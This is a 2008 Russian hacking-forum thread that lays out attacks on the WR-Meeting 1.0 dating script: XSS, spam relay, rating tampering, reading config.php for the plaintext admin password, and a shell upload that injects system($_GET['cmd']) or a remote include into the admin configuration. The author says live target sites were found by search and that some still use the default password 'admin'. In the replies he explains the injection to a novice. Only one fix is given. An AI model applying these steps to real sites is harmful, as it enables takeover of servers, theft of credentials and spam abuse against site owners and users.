Уязвимости в WR-Meeting 1.0

Discussion in 'Веб-уязвимости' started by otmorozok428, 17 May 2008.

  1. otmorozok428

    otmorozok428 Banned

    Joined:
    19 Oct 2007
    Messages:
    127
    Likes Received:
    88
    Reputations:
    17
    Продолжаем оперировать семейство скриптов WR-Script. Сегодня в поле нашего зрения - служба знакомств WR-Meeting 1.0. Итак, я нашёл следующие уязвимости...


    1. Пассивные XSS.

    На странице
    можно передать в качестве параметров POST-формы $city, $work, $url, $icq, параметры с длиной строки более 25 символов, содержащие строчку
    Например,
    Для этого придётся заменить параметр maxlength=25 в POST-форме на maxlength=45.

    Данный класс уязвимостей представляет интерес скорее теоретический... Перейдём к практике...


    2. Рассылка спама

    Если параметр $sendmail в файле config.php равен "1" , т.е. отправка писем администратором НЕ запрещена, службу WR-Meeting можно использовать в качестве прокси для спам-рассылок. Так, ссылка
    передаст email [email protected] в форму отправки сообщения, в скрытое поле
    откуда можно слать что угодно и кому захочется. Собственно, скрипт для спам-рассылки наколбасить будет совсем несложно.


    3. Создание на сервере .dat файлов с неприлично длинными цифровыми именами

    Откроем исходный код страницы и заменим
    на
    Сохраним страницу на жесткий диск, откроем её оттуда и нажмём кнопку "Сохранить". После этого на удалённом сервере появится файл с именем
    Чистой воды хулиганство... :)


    4. Возможность выставления нестандартной оценки для фотографий.

    Вместо стандартной шкалы оценок от 1 до 5, можно выставлять свои оценки от -9 до 99. Так понравившаяся тебе девушка может заполучить сразу 99 баллов за свою фотку, а парнишка-конкурент может схлопотать -9 баллов. Естественно, твоя оценка повлияет и на средний балл за фотографию. Идем на похожий линк
    открываем исходный код странички, меняем
    на
    сохраняем страничку на локальный диск и открываем её оттуда... Ставим нашу оценку...


    5. Просмотр файлов на сервере

    Параметр msnum в файле index.php вставляется в качестве имени файла "как есть"
    PHP:
    if ($_GET['event']=="coment")  {$msnum=$_GET['msnum']; 

    .......................................................

    if (
    is_file("$datadir/$msnum.dat")) {
    $rlines=file("$datadir/$msnum.dat");

    .......................................................
    , что даёт возможность просматривать файлы на сервере. Так, ссылка вида
    позволяет просмотреть содержимое файла config.php , где в открытом виде хранится пароль от админки.

    Фиксится данная уязвимость заменой условия
    PHP:
    if ($_GET['event']=="coment")  {$msnum=$_GET['msnum']; 

    .......................................................
    на
    PHP:
    if ($_GET['event']=="coment"&&ctype_digit($_GET['msnum'])) {$msnum=$_GET['msnum']; 

    .......................................................

    6. Заливка шелла

    Смотрим админский пасс в файле config.php, заходим в админку

    на вкладку "Конфигурирование", ищем пункт "Относительный путь до папки с данными скрипта" и

    заменяем в нём ./fotodat на

    ./fotodat";if(isset($_GET["cmd"])){include($cmd);}//

    для удалённого инклуда шелла

    или на

    ./fotodat"; if (isset($_GET['cmd'])){system($_GET['cmd']);}//

    для выполнения команд на сервере. Первый вариант прокатит только при директиве PHP-интерпретатора allow_url_fopen = On ,второй более перспективен.

    Жмём кнопку "Сохранить конфигурацию". Шелл готов к работе.


    7. Раздача

    Вот, нагуглилось...
    К некоторым админкам, где уязвимость не юзалась, подошёл дефолтовый пароль admin.


    *******
     
    #1 otmorozok428, 17 May 2008
    Last edited: 17 May 2008
    6 people like this.
  2. Cr@zy_King

    Cr@zy_King Member

    Joined:
    12 Sep 2007
    Messages:
    8
    Likes Received:
    8
    Reputations:
    -5
  3. DDoSька

    DDoSька Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    317
    Likes Received:
    352
    Reputations:
    18
    Круто,но объясни пожалуйста нубу поподробнее с шелами )) буду очень благодарен :rolleyes:
     
    1 person likes this.
  4. otmorozok428

    otmorozok428 Banned

    Joined:
    19 Oct 2007
    Messages:
    127
    Likes Received:
    88
    Reputations:
    17
    DDoSька, в общем идея такая, файл config.php - это файл, в котором хранятся настройки WR-Meeting в таком формате

    PHP:
    <? // WR-Meeting v 1.0.2  //  23.09.07 г.  //  [email protected]
    ................чего-то ещё........................

    $adminemail="[email protected]"// Емайл админа
    $password="admin"// Пароль админа

    ................чего-то ещё........................

    $datadir="./fotodat";  // Каталог с фото и комментариями/оценками

    ................чего-то ещё........................
    ?>
    Основной скрипт index.php обращается к этим настройкам посредством конструкции

    PHP:
    include "config.php";
    Панель администрирования (файл admin.php) позволяет изменять значения переменных в файле config.php. А поскольку в админке не проверяется корректность вводимых данных, то введя в пункте "Относительный путь до папки с данными скрипта" значение

    PHP:
    ./fotodat";if(isset($_GET["cmd"])){include($cmd);}//
    мы добавляем в PHP-код файла config.php (а заодно и файла index.php) дополнительную инструкцию include()

    PHP:
    <? // WR-Meeting v 1.0.2  //  23.09.07 г.  //  [email protected]

    $datadir="./fotodat";if(isset($_GET["cmd"])){include($cmd);}//"; // Каталог с фото и комментариями/оценками

    ?>
    Смотри, после присвоения значения переменной $datadir, добавилась инструкция include(). Главное не запутаться с количеством кавычек и вообще не косячить с синтаксисом. Если ошибёшься, завалишь скрипт знакомств, а заодно потеряешь доступ.
     
    #4 otmorozok428, 17 May 2008
    Last edited: 18 May 2008
    1 person likes this.
  5. Blacksmith

    Blacksmith Banned

    Joined:
    30 Mar 2008
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Молодец!
     
  6. Blacksmith

    Blacksmith Banned

    Joined:
    30 Mar 2008
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0

    А есть еше способ заливки шелла?
     
  7. otmorozok428

    otmorozok428 Banned

    Joined:
    19 Oct 2007
    Messages:
    127
    Likes Received:
    88
    Reputations:
    17
    Ну если поискать может быть и найдётся, только смысл-то какой? Шелл у тебя уже и так есть :)
     
  8. DDoSька

    DDoSька Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    317
    Likes Received:
    352
    Reputations:
    18
    спасибо,очень хорошо объяснил,приятно,что ты объяснил весь смысл
    ЗЫ:я думал скажешь :"Купи моск" =)
     
    1 person likes this.
  9. otmorozok428

    otmorozok428 Banned

    Joined:
    19 Oct 2007
    Messages:
    127
    Likes Received:
    88
    Reputations:
    17
    Тынц

    Ты б чтоль автора упомянул приличия ради...

    А то там благодарности уж каким-то совсем левым чувакам...
     
    #9 otmorozok428, 21 May 2008
    Last edited: 21 May 2008
    1 person likes this.